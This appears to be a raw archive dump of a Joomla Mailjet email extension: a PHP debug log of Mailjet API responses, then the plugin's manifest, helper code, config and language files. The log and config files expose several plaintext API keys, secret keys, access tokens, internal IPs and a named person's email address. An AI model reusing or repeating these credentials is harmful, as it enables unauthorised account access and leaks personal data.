            [_request_post] => 
            [_response_code] => 200
            [_response] => stdClass Object
                (
                    [lists] => Array
                        (
                            [0] => stdClass Object
                                (
                                    [id] => 830045
                                    [name] => bugise2794a59
                                    [label] => Bug issue 562
                                    [created_at] => 1402918673
                                    [subscribers] => 201
                                    [sent] => 0
                                    [open] => 0
                                    [click] => 0
                                    [bounce] => 0
                                    [blocked] => 400
                                    [spam] => 0
                                    [unsub] => 0
                                    [last_activity] => 1403006589
                                    [handled] => 1
                                )

                        )

                    [status] => OK
                )

        )

    [version] => 0.1
    [apiUrl] => in.mailjet.com
)

====================================================================================================
2014-09-24 18:02:39
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V1 Object
        (
            [version] => 0.1
            [output] => json
            [secure] => 
            [debug] => 0
            [apiKey] => 6363e9d3b0fbcc689c98e18a1a0ba9b5
            [secretKey] => ea3818da6ef29051a081297d4e4ea6cb
            [apiUrl] => http://api.mailjet.com/0.1
            [_method] => listsAll
            [_request] => GET
            [call_url] => http://api.mailjet.com/0.1/listsAll/?output=json&limit=1
            [_request_post] => 
            [_response_code] => 200
            [_response] => stdClass Object
                (
                    [lists] => Array
                        (
                            [0] => stdClass Object
                                (
                                    [id] => 830045
                                    [name] => bugise2794a59
                                    [label] => Bug issue 562
                                    [created_at] => 1402918673
                                    [subscribers] => 201
                                    [sent] => 0
                                    [open] => 0
                                    [click] => 0
                                    [bounce] => 0
                                    [blocked] => 400
                                    [spam] => 0
                                    [unsub] => 0
                                    [last_activity] => 1403006589
                                    [handled] => 1
                                )

                        )

                    [status] => OK
                )

        )

    [version] => 0.1
    [apiUrl] => in.mailjet.com
)

====================================================================================================
2014-09-24 18:02:06
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V3 Object
        (
            [_apiKey:Mailjet_Api_V3:private] => 7ee8e423df320c5c3ecb314ad45c0b19
            [_secretKey:Mailjet_Api_V3:private] => 112f3d6bd2e3059db345a35cd2dfe5bb
            [_cache:Mailjet_Api_V3:private] => 0
            [_apiUrl:Mailjet_Api_V3:private] => http://api.mailjet.com/v3/REST/
            [_version:Mailjet_Api_V3:private] => REST
            [_debug:Mailjet_Api_V3:private] => 
            [_debug_info:Mailjet_Api_V3:private] => 
            [_buffer:Mailjet_Api_V3:private] => 
            [_method:Mailjet_Api_V3:private] => 
            [_info:Mailjet_Api_V3:private] => Array
                (
                    [url] => http://api.mailjet.com/v3/REST/apitoken
                    [content_type] => text/html; charset=utf-8
                    [http_code] => 201
                    [header_size] => 184
                    [request_size] => 405
                    [filetime] => -1
                    [ssl_verify_result] => 0
                    [redirect_count] => 0
                    [total_time] => 0.075868
                    [namelookup_time] => 3.1E-5
                    [connect_time] => 0.031974
                    [pretransfer_time] => 0.032039
                    [size_upload] => 153
                    [size_download] => 643
                    [speed_download] => 8475
                    [speed_upload] => 2016
                    [download_content_length] => 643
                    [upload_content_length] => 153
                    [starttransfer_time] => 0.075834
                    [redirect_time] => 0
                    [certinfo] => Array
                        (
                        )

                    [primary_ip] => 5.135.120.255
                    [primary_port] => 80
                    [local_ip] => 193.107.71.62
                    [local_port] => 47087
                    [redirect_url] => 
                )

            [_curl_handle:Mailjet_Api_V3:private] => 
            [_log_allowed:protected] => 
            [_log:protected] => 
            [_log_once:protected] => 1
            [_extra_err:protected] => 
            [_log_path:protected] => 
            [_akid] => 
            [_response_code] => 201
        )

    [version] => 
    [apiUrl] => in-v3.mailjet.com
)

====================================================================================================
2014-09-24 17:39:54
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V1 Object
        (
            [version] => 0.1
            [output] => json
            [secure] => 
            [debug] => 0
            [apiKey] => 709aa262a03f2279127672eadd59dc50
            [secretKey] => bbd975cfe881a7cd349726049b2b022d
            [apiUrl] => http://api.mailjet.com/0.1
            [_method] => listsAll
            [_request] => GET
            [call_url] => http://api.mailjet.com/0.1/listsAll/?output=json&limit=1
            [_request_post] => 
            [_response_code] => 200
            [_response] => stdClass Object
                (
                    [lists] => Array
                        (
                            [0] => stdClass Object
                                (
                                    [id] => 833189
                                    [name] => test9132f737
                                    [label] => Test
                                    [created_at] => 1403004329
                                    [subscribers] => 99
                                    [sent] => 0
                                    [open] => 0
                                    [click] => 0
                                    [bounce] => 0
                                    [blocked] => 0
                                    [spam] => 0
                                    [unsub] => 0
                                    [last_activity] => 
                                    [handled] => 1
                                )

                        )

                    [status] => OK
                )

        )

    [version] => 0.1
    [apiUrl] => in.mailjet.com
)

====================================================================================================
2014-09-24 17:26:25
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V1 Object
        (
            [version] => 0.1
            [output] => json
            [secure] => 
            [debug] => 0
            [apiKey] => 6363e9d3b0fbcc689c98e18a1a0ba9b5
            [secretKey] => ea3818da6ef29051a081297d4e4ea6cb
            [apiUrl] => http://api.mailjet.com/0.1
            [_method] => listsAll
            [_request] => GET
            [call_url] => http://api.mailjet.com/0.1/listsAll/?output=json&limit=1
            [_request_post] => 
            [_response_code] => 200
            [_response] => stdClass Object
                (
                    [lists] => Array
                        (
                            [0] => stdClass Object
                                (
                                    [id] => 830045
                                    [name] => bugise2794a59
                                    [label] => Bug issue 562
                                    [created_at] => 1402918673
                                    [subscribers] => 201
                                    [sent] => 0
                                    [open] => 0
                                    [click] => 0
                                    [bounce] => 0
                                    [blocked] => 400
                                    [spam] => 0
                                    [unsub] => 0
                                    [last_activity] => 1403006589
                                    [handled] => 1
                                )

                        )

                    [status] => OK
                )

        )

    [version] => 0.1
    [apiUrl] => in.mailjet.com
)

====================================================================================================
2014-09-24 17:26:09
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V1 Object
        (
            [version] => 0.1
            [output] => json
            [secure] => 
            [debug] => 0
            [apiKey] => 709aa262a03f2279127672eadd59dc50
            [secretKey] => bbd975cfe881a7cd349726049b2b022d
            [apiUrl] => http://api.mailjet.com/0.1
            [_method] => listsAll
            [_request] => GET
            [call_url] => http://api.mailjet.com/0.1/listsAll/?output=json&limit=1
            [_request_post] => 
            [_response_code] => 200
            [_response] => stdClass Object
                (
                    [lists] => Array
                        (
                            [0] => stdClass Object
                                (
                                    [id] => 833189
                                    [name] => test9132f737
                                    [label] => Test
                                    [created_at] => 1403004329
                                    [subscribers] => 99
                                    [sent] => 0
                                    [open] => 0
                                    [click] => 0
                                    [bounce] => 0
                                    [blocked] => 0
                                    [spam] => 0
                                    [unsub] => 0
                                    [last_activity] => 
                                    [handled] => 1
                                )

                        )

                    [status] => OK
                )

        )

    [version] => 0.1
    [apiUrl] => in.mailjet.com
)

====================================================================================================
2014-09-24 17:25:55
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V1 Object
        (
            [version] => 0.1
            [output] => json
            [secure] => 
            [debug] => 0
            [apiKey] => 709aa262a03f2279127672eadd59dc50
            [secretKey] => bbd975cfe881a7cd349726049b2b022d
            [apiUrl] => http://api.mailjet.com/0.1
            [_method] => listsAll
            [_request] => GET
            [call_url] => http://api.mailjet.com/0.1/listsAll/?output=json&limit=1
            [_request_post] => 
            [_response_code] => 200
            [_response] => stdClass Object
                (
                    [lists] => Array
                        (
                            [0] => stdClass Object
                                (
                                    [id] => 833189
                                    [name] => test9132f737
                                    [label] => Test
                                    [created_at] => 1403004329
                                    [subscribers] => 99
                                    [sent] => 0
                                    [open] => 0
                                    [click] => 0
                                    [bounce] => 0
                                    [blocked] => 0
                                    [spam] => 0
                                    [unsub] => 0
                                    [last_activity] => 
                                    [handled] => 1
                                )

                        )

                    [status] => OK
                )

        )

    [version] => 0.1
    [apiUrl] => in.mailjet.com
)

====================================================================================================
2014-09-24 16:34:26
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V3 Object
        (
            [_apiKey:Mailjet_Api_V3:private] => 7ee8e423df320c5c3ecb314ad45c0b19
            [_secretKey:Mailjet_Api_V3:private] => 112f3d6bd2e3059db345a35cd2dfe5bb
            [_cache:Mailjet_Api_V3:private] => 0
            [_apiUrl:Mailjet_Api_V3:private] => http://api.mailjet.com/v3/REST/
            [_version:Mailjet_Api_V3:private] => REST
            [_debug:Mailjet_Api_V3:private] => 
            [_debug_info:Mailjet_Api_V3:private] => 
            [_buffer:Mailjet_Api_V3:private] => 
            [_method:Mailjet_Api_V3:private] => 
            [_info:Mailjet_Api_V3:private] => Array
                (
                    [url] => http://api.mailjet.com/v3/REST/apitoken
                    [content_type] => text/html; charset=utf-8
                    [http_code] => 201
                    [header_size] => 184
                    [request_size] => 405
                    [filetime] => -1
                    [ssl_verify_result] => 0
                    [redirect_count] => 0
                    [total_time] => 0.0752
                    [namelookup_time] => 3.5E-5
                    [connect_time] => 0.03224
                    [pretransfer_time] => 0.03231
                    [size_upload] => 153
                    [size_download] => 643
                    [speed_download] => 8550
                    [speed_upload] => 2034
                    [download_content_length] => 643
                    [upload_content_length] => 153
                    [starttransfer_time] => 0.075164
                    [redirect_time] => 0
                    [certinfo] => Array
                        (
                        )

                    [primary_ip] => 5.135.120.255
                    [primary_port] => 80
                    [local_ip] => 193.107.71.62
                    [local_port] => 41085
                    [redirect_url] => 
                )

            [_curl_handle:Mailjet_Api_V3:private] => 
            [_log_allowed:protected] => 
            [_log:protected] => 
            [_log_once:protected] => 1
            [_extra_err:protected] => 
            [_log_path:protected] => 
            [_akid] => 
            [_response_code] => 201
        )

    [version] => 
    [apiUrl] => in-v3.mailjet.com
)

====================================================================================================
2014-09-24 16:19:47
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V3 Object
        (
            [_apiKey:Mailjet_Api_V3:private] => 7ee8e423df320c5c3ecb314ad45c0b19
            [_secretKey:Mailjet_Api_V3:private] => 112f3d6bd2e3059db345a35cd2dfe5bb
            [_cache:Mailjet_Api_V3:private] => 0
            [_apiUrl:Mailjet_Api_V3:private] => http://api.mailjet.com/v3/REST/
            [_version:Mailjet_Api_V3:private] => REST
            [_debug:Mailjet_Api_V3:private] => 
            [_debug_info:Mailjet_Api_V3:private] => 
            [_buffer:Mailjet_Api_V3:private] => 
            [_method:Mailjet_Api_V3:private] => 
            [_info:Mailjet_Api_V3:private] => Array
                (
                    [url] => http://api.mailjet.com/v3/REST/apitoken
                    [content_type] => text/html; charset=utf-8
                    [http_code] => 201
                    [header_size] => 184
                    [request_size] => 405
                    [filetime] => -1
                    [ssl_verify_result] => 0
                    [redirect_count] => 0
                    [total_time] => 0.077033
                    [namelookup_time] => 3.0E-5
                    [connect_time] => 0.032484
                    [pretransfer_time] => 0.032563
                    [size_upload] => 153
                    [size_download] => 643
                    [speed_download] => 8347
                    [speed_upload] => 1986
                    [download_content_length] => 643
                    [upload_content_length] => 153
                    [starttransfer_time] => 0.076998
                    [redirect_time] => 0
                    [certinfo] => Array
                        (
                        )

                    [primary_ip] => 5.135.120.255
                    [primary_port] => 80
                    [local_ip] => 193.107.71.62
                    [local_port] => 39552
                    [redirect_url] => 
                )

            [_curl_handle:Mailjet_Api_V3:private] => 
            [_log_allowed:protected] => 
            [_log:protected] => 
            [_log_once:protected] => 1
            [_extra_err:protected] => 
            [_log_path:protected] => 
            [_akid] => 
            [_response_code] => 201
        )

    [version] => 
    [apiUrl] => http://api.mailjet.com/v3/REST/
)

====================================================================================================
2014-09-24 14:40:57
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V3 Object
        (
            [_apiKey:Mailjet_Api_V3:private] => 7ee8e423df320c5c3ecb314ad45c0b19
            [_secretKey:Mailjet_Api_V3:private] => 112f3d6bd2e3059db345a35cd2dfe5bb
            [_cache:Mailjet_Api_V3:private] => 0
            [_apiUrl:Mailjet_Api_V3:private] => http://api.mailjet.com/v3/REST/
            [_version:Mailjet_Api_V3:private] => REST
            [_debug:Mailjet_Api_V3:private] => 
            [_debug_info:Mailjet_Api_V3:private] => 
            [_buffer:Mailjet_Api_V3:private] => 
            [_method:Mailjet_Api_V3:private] => 
            [_info:Mailjet_Api_V3:private] => Array
                (
                    [url] => http://api.mailjet.com/v3/REST/apitoken
                    [content_type] => text/html; charset=utf-8
                    [http_code] => 201
                    [header_size] => 184
                    [request_size] => 405
                    [filetime] => -1
                    [ssl_verify_result] => 0
                    [redirect_count] => 0
                    [total_time] => 0.383548
                    [namelookup_time] => 2.9E-5
                    [connect_time] => 0.031834
                    [pretransfer_time] => 0.031893
                    [size_upload] => 153
                    [size_download] => 643
                    [speed_download] => 1676
                    [speed_upload] => 398
                    [download_content_length] => 643
                    [upload_content_length] => 153
                    [starttransfer_time] => 0.383513
                    [redirect_time] => 0
                    [certinfo] => Array
                        (
                        )

                    [primary_ip] => 5.135.46.177
                    [primary_port] => 80
                    [local_ip] => 193.107.71.62
                    [local_port] => 53699
                    [redirect_url] => 
                )

            [_curl_handle:Mailjet_Api_V3:private] => 
            [_log_allowed:protected] => 
            [_log:protected] => 
            [_log_once:protected] => 1
            [_extra_err:protected] => 
            [_log_path:protected] => 
            [_akid] => 
            [_response_code] => 201
        )

    [version] => 
)

====================================================================================================
2014-09-24 13:55:44
RESPONSE
MailjetApi Object
(
    [version] => REST
    [output] => json
    [secure] => 1
    [debug] => 0
    [apiKey] => 7ee8e423df320c5c3ecb314ad45c0b19
    [secretKey] => 112f3d6bd2e3059db345a35cd2dfe5bb
    [apiUrl] => https://api.mailjet.com/v3/REST
    [_method] => apitoken
    [_request] => POST
    [call_url] => https://api.mailjet.com/v3/REST/apitoken/?output=json
    [_request_post] => Array
        (
            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
            [APIKeyALT] => 7ee8e423df320c5c3ecb314ad45c0b19
            [TokenType] => iframe
            [IsActive] => 1
        )

    [_response_code] => 201
    [_response] => stdClass Object
        (
            [Count] => 1
            [Data] => Array
                (
                    [0] => stdClass Object
                        (
                            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
                            [APIKeyID] => 176517
                            [CatchedIp] => 172.16.0.11
                            [CreatedAt] => 2014-09-24T10:55:44Z
                            [FirstUsedAt] => 
                            [ID] => 1531814
                            [IsActive] => 1
                            [Lang] => 
                            [LastUsedAt] => 
                            [SentData] => 
                            [Timezone] => 
                            [Token] => E2A2E8E4155971C09461056DB4A2E84A88641773F890CBA6D7E4940EFFE4E0CED009FF388848B7E68C89C340F0A39B7C22273723A53A2CF57E6CEFE34173D2B4970DE3C56F369116250864C4773A02E548A9583A393C896E58453FDEA6BA76E5E0B3DFDC4E6A165CBDE3D5EB1B7702F6559323ABE83B876F9AED3CB4C7BA087
                            [TokenType] => iframe
                            [ValidFor] => 0
                        )

                )

            [Total] => 1
        )

)

====================================================================================================
2014-09-24 13:55:37
RESPONSE
MailjetApi Object
(
    [version] => REST
    [output] => json
    [secure] => 1
    [debug] => 0
    [apiKey] => 7ee8e423df320c5c3ecb314ad45c0b19
    [secretKey] => 112f3d6bd2e3059db345a35cd2dfe5bb
    [apiUrl] => https://api.mailjet.com/v3/REST
    [_method] => apitoken
    [_request] => POST
    [call_url] => https://api.mailjet.com/v3/REST/apitoken/?output=json
    [_request_post] => Array
        (
            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
            [APIKeyALT] => 7ee8e423df320c5c3ecb314ad45c0b19
            [TokenType] => iframe
            [IsActive] => 1
        )

    [_response_code] => 201
    [_response] => stdClass Object
        (
            [Count] => 1
            [Data] => Array
                (
                    [0] => stdClass Object
                        (
                            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
                            [APIKeyID] => 176517
                            [CatchedIp] => 172.16.0.11
                            [CreatedAt] => 2014-09-24T10:55:37Z
                            [FirstUsedAt] => 
                            [ID] => 1531813
                            [IsActive] => 1
                            [Lang] => 
                            [LastUsedAt] => 
                            [SentData] => 
                            [Timezone] => 
                            [Token] => FDBE4EAB1136F8B5CE0CC150D2711138180B16C46B51E6C99B873B063038E373C54686FAFABB85D3F6FED5A02B881C4649A017D30787A3D1BDCD2976CE681FAC75E67FDFE2D5D49740453999BC10FB5A92358730733F15ADF153C1CDEADCF5DC8A3A67BC8D8665921DBEBDAED395F1C56AD056332572BB5E6F48B9887D40999
                            [TokenType] => iframe
                            [ValidFor] => 0
                        )

                )

            [Total] => 1
        )

)

====================================================================================================
2014-09-23 18:23:25
RESPONSE
MailjetApi Object
(
    [version] => REST
    [output] => json
    [secure] => 1
    [debug] => 0
    [apiKey] => 7ee8e423df320c5c3ecb314ad45c0b19
    [secretKey] => 112f3d6bd2e3059db345a35cd2dfe5bb
    [apiUrl] => https://api.mailjet.com/v3/REST
    [_method] => apitoken
    [_request] => POST
    [call_url] => https://api.mailjet.com/v3/REST/apitoken/?output=json
    [_request_post] => Array
        (
            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
            [APIKeyALT] => 7ee8e423df320c5c3ecb314ad45c0b19
            [TokenType] => iframe
            [IsActive] => 1
        )

    [_response_code] => 201
    [_response] => stdClass Object
        (
            [Count] => 1
            [Data] => Array
                (
                    [0] => stdClass Object
                        (
                            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
                            [APIKeyID] => 176517
                            [CatchedIp] => 172.16.0.11
                            [CreatedAt] => 2014-09-23T15:23:25Z
                            [FirstUsedAt] => 
                            [ID] => 1531747
                            [IsActive] => 1
                            [Lang] => 
                            [LastUsedAt] => 
                            [SentData] => 
                            [Timezone] => 
                            [Token] => 31780227E49D32BD990E9A4B129DF4E8A3CAAA0228336F28CF14D9EC57EB1FCED69A17D464F93374298496DCF7412B28FBFA1ADE1E4262C6DC6B1326B0EAD0ADC3517AC082CCF2F90B25E5006F38C9E50551E9385FA1430A1D2E423E67658245FF5AA97DBDFC3A5671DE309656D002EA6066A1F8A42134A689ADCCC1964165D
                            [TokenType] => iframe
                            [ValidFor] => 0
                        )

                )

            [Total] => 1
        )

)

====================================================================================================
2014-09-23 12:38:08
RESPONSE
MailjetApi Object
(
    [version] => REST
    [output] => json
    [secure] => 1
    [debug] => 0
    [apiKey] => ff504f5e4e6fb57e9747fc09d7a7c6ff
    [secretKey] => fa24b97126e6371d0e2c6c6266bc7f3b
    [apiUrl] => https://api.mailjet.com/v3/REST
    [_method] => apitoken
    [_request] => POST
    [call_url] => https://api.mailjet.com/v3/REST/apitoken/?output=json
    [_request_post] => Array
        (
            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
            [APIKeyALT] => ff504f5e4e6fb57e9747fc09d7a7c6ff
            [TokenType] => iframe
            [IsActive] => 1
        )

    [_response_code] => 201
    [_response] => stdClass Object
        (
            [Count] => 1
            [Data] => Array
                (
                    [0] => stdClass Object
                        (
                            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
                            [APIKeyID] => 128127
                            [CatchedIp] => 172.16.0.11
                            [CreatedAt] => 2014-09-23T09:38:08Z
                            [FirstUsedAt] => 
                            [ID] => 1531715
                            [IsActive] => 1
                            [Lang] => 
                            [LastUsedAt] => 
                            [SentData] => 
                            [Timezone] => 
                            [Token] => C7470DD9910D1A4885F2E0669861165180EEE5C18ABBD23956E27E9FC14F356BB495B8D9F9E9636965404732A6675C986982832E4DCA6014B6600364286E0678B5392A1D5E30EDA650F75A8607D28257B023E2166EEACF1868337B1B218C952D997185A5128F5C80F01EA446EE63E6430C1AFFC0F2C4BBA9EA374B2A16ADDF4
                            [TokenType] => iframe
                            [ValidFor] => 0
                        )

                )

            [Total] => 1
        )

)

====================================================================================================
2014-09-23 12:26:27
RESPONSE
MailjetApi Object
(
    [version] => REST
    [output] => json
    [secure] => 1
    [debug] => 0
    [apiKey] => ff504f5e4e6fb57e9747fc09d7a7c6ff
    [secretKey] => fa24b97126e6371d0e2c6c6266bc7f3b
    [apiUrl] => https://api.mailjet.com/v3/REST
    [_method] => apitoken
    [_request] => POST
    [call_url] => https://api.mailjet.com/v3/REST/apitoken/?output=json
    [_request_post] => Array
        (
            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
            [APIKeyALT] => ff504f5e4e6fb57e9747fc09d7a7c6ff
            [TokenType] => iframe
            [IsActive] => 1
        )

    [_response_code] => 201
    [_response] => stdClass Object
        (
            [Count] => 1
            [Data] => Array
                (
                    [0] => stdClass Object
                        (
                            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
                            [APIKeyID] => 128127
                            [CatchedIp] => 172.16.0.12
                            [CreatedAt] => 2014-09-23T09:26:27Z
                            [FirstUsedAt] => 
                            [ID] => 1531706
                            [IsActive] => 1
                            [Lang] => 
                            [LastUsedAt] => 
                            [SentData] => 
                            [Timezone] => 
                            [Token] => 255B5D469EF20EECB4C56EF1D5CEADE84E0DC6E4B05AD137B8D7AE91428DDC7547C9C14573B78830BDF1911C4567115EAB21D2E524BFC7E5702601FB9E16DFF7A272A9E5C71D7BDE0B584132FC3ED6AFA6133BFE475B39A157FD2A21B663BDE3EF9D9D3904D32299949CEB4971C68EE337638A4EFAADE99ACE71DCD4F286DE8
                            [TokenType] => iframe
                            [ValidFor] => 0
                        )

                )

            [Total] => 1
        )

)

====================================================================================================
2014-09-19 17:23:02
RESPONSE
MailjetApi Object
(
    [version] => REST
    [output] => json
    [secure] => 1
    [debug] => 0
    [apiKey] => ff504f5e4e6fb57e9747fc09d7a7c6ff
    [secretKey] => fa24b97126e6371d0e2c6c6266bc7f3b
    [apiUrl] => https://api.mailjet.com/v3/REST
    [_method] => apitoken
    [_request] => POST
    [call_url] => https://api.mailjet.com/v3/REST/apitoken/?output=json
    [_request_post] => Array
        (
            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
            [APIKeyALT] => ff504f5e4e6fb57e9747fc09d7a7c6ff
            [TokenType] => iframe
            [IsActive] => 1
        )

    [_response_code] => 201
    [_response] => stdClass Object
        (
            [Count] => 1
            [Data] => Array
                (
                    [0] => stdClass Object
                        (
                            [AllowedAccess] => campaigns,contacts,stats,pricing,account,reports
                            [APIKeyID] => 128127
                            [CatchedIp] => 172.16.0.12
                            [CreatedAt] => 2014-09-19T14:23:02Z
                            [FirstUsedAt] => 
                            [ID] => 1531571
                            [IsActive] => 1
                            [Lang] => 
                            [LastUsedAt] => 
                            [SentData] => 
                            [Timezone] => 
                            [Token] => FACB508DBC7E98D9D08F66A59B0C560CFB78AD000B724981284A7612AA773B31E3EFFAFEB3308A37336D24F24FD8CD88CD06A2A8A3C9C04DCD2A5C4658626E91F4874F180DF513EC0B853988CFCC708F4F02283D7230E69A6097C8EE243A0B9D2BC0E31ACC373B57D0E2441A6684CA2129139DED2322FB9E417EFA1DF60588A
                            [TokenType] => iframe
                            [ValidFor] => 0
                        )

                )

            [Total] => 1
        )

)

com_mailjet/lib/exit.php000060400000000370152455305320011257 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
EXITcom_mailjet/lib/db/data000060400000000241152455305320011013 0ustar00{"apiKey":"6363e9d3b0fbcc689c98e18a1a0ba9b5","apiSecret":"ea3818da6ef29051a081297d4e4ea6cb","token":null,"test_address":"vincent.halle@eliosa.com","enable":true}com_mailjet/com_mailjet.xml000060400000003631152455305320012037 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1">
    <name>Mailjet</name>
    <author>Mailjet SAS</author>
    <authorUrl>http://www.mailjet.com</authorUrl>
    <authorEmail>plugins@mailjet.com</authorEmail>
    <creationDate>June 2014</creationDate>
    <url>http://www.mailjet.com/</url>
    <version>3.1.6</version>
    <copyright>Copyright (C) 2014 Mailjet SAS.</copyright>
    <license>GNU General Public License version 2 or later; see LICENSE</license>
    <description>Mailjet Email component.</description>

    <scriptfile>installer.php</scriptfile>
    <files folder="front">
        <filename>mailjet.php</filename>
        <filename>controller.php</filename>
        <folder>models</folder>
        <folder>views</folder>
    </files>

    <administration>
        <menu img="../administrator/components/com_mailjet/images/logo-16x16.png">COM_MAILJET_MENU</menu>
        <submenu>
            <menu view="mailjet" img="../administrator/components/com_mailjet/images/logo-16x16.png">COM_MAILJET_SETTINGS</menu>
            <menu view="contacts" img="../administrator/components/com_mailjet/images/logo-16x16.png">COM_MAILJET_CONTACTS</menu>
            <menu view="campaigns" img="../administrator/components/com_mailjet/images/logo-16x16.png">COM_MAILJET_CAMPAIGNS</menu>
            <menu view="statistics" img="../administrator/components/com_mailjet/images/logo-16x16.png">COM_MAILJET_STATS</menu>
        </submenu>
        <files folder="admin">
            <filename>mailjet.php</filename>
            <filename>controller.php</filename>
            <filename>config.php</filename>
            <filename>styles.css</filename>
            <folder>views</folder>
            <folder>models</folder>
            <folder>language</folder>
            <folder>images</folder>
            <folder>lib</folder>
            <folder>helpers</folder>
        </files>
    </administration>
</extension>
com_mailjet/helpers/index.html000060400000000037152455305320012466 0ustar00<!DOCTYPE html><title></title>
com_mailjet/helpers/mailjet.php000060400000002167152455305320012635 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @package     Joomla.Administrator
 * @subpackage  com_mailjet
 * @since       1.6
 */
class MailjetHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string	The name of the active view.
	 *
	 * @return  void
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_MAILJET_SETTINGS'),
			'index.php?option=com_mailjet&view=mailjet',
			$vName == 'mailjet'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_MAILJET_CONTACTS'),
			'index.php?option=com_mailjet&view=contacts',
			$vName == 'contacts'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_MAILJET_CAMPAIGNS'),
			'index.php?option=com_mailjet&view=campaigns',
			$vName == 'campaigns'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_MAILJET_STATS'),
			'index.php?option=com_mailjet&view=statistics',
			$vName == 'statistics'
		);
	}
}
com_mailjet/config.php000060400000001030152455305320010777 0ustar00<?php
class JMailjetConfig {
	public $bak_mailer = 'mail';
	public $bak_smtpauth = '0';
	public $bak_smtpuser = '';
	public $bak_smtppass = '';
	public $bak_smtphost = 'localhost';
	public $bak_smtpsecure = 'none';
	public $bak_smtpport = '25';
	public $enable = '1';
	public $test = '1';
	public $test_address = 'vincent.halle@eliosa.com';
	public $username = '6363e9d3b0fbcc689c98e18a1a0ba9b5';
	public $password = 'ea3818da6ef29051a081297d4e4ea6cb';
	public $host = 'in.mailjet.com';
	public $secure = 'ssl';
	public $port = '465';
}com_mailjet/language/en-GB/en-GB.com_mailjet.sys.ini000060400000000563152455305320016176 0ustar00COM_MAILJET_MENU="Mailjet"
COM_MAILJET_SETTINGS="Settings"
COM_MAILJET_STATS="Statistics"
COM_MAILJET_CONTACTS="Contacts"
COM_MAILJET_CAMPAIGNS="Campaigns"
COM_MAILJET_PRICING="Pricing"
COM_MAILJET_SETTINGS_SAVED="Your settings have been saved successfully"
COM_MAILJET_CONTACT_SUPPORT_ERROR = "Please contact Mailjet support to sort this out.<br /><br />Error %d - %s"

com_mailjet/language/en-GB/en-GB.com_mailjet.ini000060400000007517152455305320015367 0ustar00COM_MAILJET_MENU="Mailjet"
COM_MAILJET_SETTINGS="Settings"
COM_MAILJET_STATS="Statistics"
COM_MAILJET_CONTACTS="Contacts"
COM_MAILJET_CAMPAIGNS="Campaigns"
COM_MAILJET_PRICING="Pricing"
COM_MAILJET_SETTINGS_SAVED="Your settings have been saved successfully"

COM_MAILJET_SENDER_ERROR = "Please make sure that you are using the correct API key and secret key associated to your mailjet account (from email)."
COM_MAILJET_API_KEY_ERROR = "Please verify that you have entered your API and secret key correctly. If this is the case and you have still this error message, please go to Account API keys (<a href=\"https://www.mailjet.com/account/api_keys\" target=\"_blank\">https://www.mailjet.com/account/api_keys</a>) to regenerate a new Secret Key for the plug-in."
COM_MAILJET_CONTACT_SUPPORT_ERROR = "Please contact Mailjet support to sort this out.<br /><br />Error %d - %s"
COM_MAILJET_CONFIG_FILE_UNWRITABLE="Unable to write configuration file for Mailjet's settings."
COM_MAILJET_RECIPIENT_INVALID="The recipient of the test mail is invalid."
COM_MAILJET_TEST_EMAIL_NOT_SENT="The test mail could not be sent."
COM_MAILJET_CONFIG_OK="Mailjet configuration saved successfully"
COM_MAILJET_SETTINGS_MANDATORY="Your Mailjet settings are mandatory."

COM_MAILJET_PLUGIN_INSTRUCTIONS_TITLE="Mailjet Module"

COM_MAILJET_MAILJET_SETTINGS_API_KEYS_HELP="You can get your API keys from <a href=\"https://www.mailjet.com/account/api_keys\">your mailjet account</a>. Please also make sure the sender address is active in <a href=\"https://www.mailjet.com/account/sender\">your account</a>"

COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_ACCOUNT="<a href=\"https://www.mailjet.com/signup?p=joomla-3.0\">Create your Mailjet account</a> or visit your <a href=\"https://fr.mailjet.com/account/api_keys\">account page</a> to get your API keys."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_LIST="<a href=\"index.php?option=com_mailjet&view=contacts\">Create a new list</a> if you don't have one or need a new one."
COM_MAILJET_PLUGIN_INSTRUCTIONS_CREATE_WIDGET="<a href=\"index.php?option=com_modules\">Add</a> the email collection widget to your sidebar or footer."
